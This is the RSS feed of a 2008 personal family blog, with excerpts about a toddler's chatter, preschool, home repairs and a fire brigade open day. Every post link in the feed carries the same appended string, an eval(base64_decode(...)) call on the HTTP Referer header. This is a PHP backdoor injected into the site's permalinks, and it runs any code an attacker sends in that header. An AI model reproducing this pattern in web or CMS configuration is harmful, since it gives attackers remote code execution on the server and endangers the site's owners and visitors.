http://juju.net.nz/tracyh/blog Kids|College|Teaching|Parenting Fri, 20 Jun 2008 05:05:09 +0000 http://backend.userland.com/rss092 en Just now. Amy is being very chatty at the moment. I said to Mike, who just got home, "She didn't even have a nap today!" Amy: You said no nap, Mummy! Teachers said no too. Me: That's right, I said no nap. Amy: Jae pushed me into the doors. Me: Which doors? Amy: The sleep-room doors. Me: ... http://juju.net.nz/tracyh/blog/2008/06/20/conversations-with-an-amy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Dropping Amy off today at preschool, I noticed they had a big wooden castle set up complete with knights, dragons and royalty. Amy wandered over to investigate and found the dragon, which she waved threateningly at me before placing in the castle courtyard, inside the walls. I did the "ooh, ... http://juju.net.nz/tracyh/blog/2008/05/22/ware/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ * Placement starts next Monday. I am underprepared in terms of paperwork right now. Woo! However, I am well equipped wardrobe-wise, thanks to my mother. * Over the past week we've had gas-powered hot water installed and ripped out an interior wall, as our new heatpump made the gas fireplace redundant. ... http://juju.net.nz/tracyh/blog/2008/04/30/let-me-explain-no-let-me-sum-up/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ We are currently three in our house, Mike being on a work trip to Rhode Island and Maine. I am amusing myself in the evenings by watching Sopranos DVDs, spending too much time on the internet, and doing laundry. Life sure is exciting! I have to limit myself to two ... http://juju.net.nz/tracyh/blog/2008/04/20/there-is-something-about-the-presence-of-a-cat-that-seems-to-take-the-bite-out-of-being-alone-louis-j-camuti/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ "My name is Spongebob," said Spongebob. "Hello," said Spongebob. "This is my pal Patrick," said Spongebob. Patrick is a starfish. Spongebob is a sponge. Today Spongebob watched Patrick. This door is going to open. Spongebob opened the door. Bye bye! http://juju.net.nz/tracyh/blog/2008/04/13/%e2%80%9cwriting-is-an-exploration-you-start-from-nothing-and-learn-as-you-go%e2%80%9d-el-doctorow/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Ethan has become a big schoolboy fish in a small daycare pond. When we pick Amy up after school, the four-year-olds rush to gather around Ethan, hug him, ask to play tag with him, show him the cool cardboard-box truck they've made that day. I caught him being hugged and ... http://juju.net.nz/tracyh/blog/2008/04/13/%e2%80%9clife-is-partly-what-we-make-it-and-partly-what-it-is-made-by-the-friends-we-choose%e2%80%9d-tennessee-williams/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ It can work! No, it can't work. [What can't work?] The heat pump can't work. [Why can't the heat pump work?] 'Cos it's, 'cos it's broken. There's two cars. 'Cos two cars broke it. [How?] 'Cos they're naughty. They're naughty, eh? 'Cos their battery's flat. We have to fix them. We have to pull the batteries ... http://juju.net.nz/tracyh/blog/2008/04/12/more-words-from-amy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Magic Pen, a Flash game using REAL PHYSICS!! and crayons. It will keep you up for hours. And hours. And then, four days later, you'll finally put down the mouse, gaze blearily at your neglected family, and say something like, "I don't know who I am. Help me, strange people." Finally, after ... http://juju.net.nz/tracyh/blog/2008/04/09/because-i-want-you-all-to-suffer-as-i-have-suffered/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I don't know what the Firewise mascot's name really is. I hope it is Krispy Kiwi, with a sort of singed-around-the-edges look. We went to the Rangiora Volunteer Fire Brigade's open day yesterday at which the kids saw a car get cut open, an airport firetruck, a, well, a guy ... http://juju.net.nz/tracyh/blog/2008/04/07/krispy-the-kiwi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I didn't think to show that they have cool detachable ankle straps, so you'll have to take my word for it. http://juju.net.nz/tracyh/blog/2008/04/06/%e2%80%9cthe-one-thing-children-wear-out-faster-than-shoes-is-parents%e2%80%9d/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/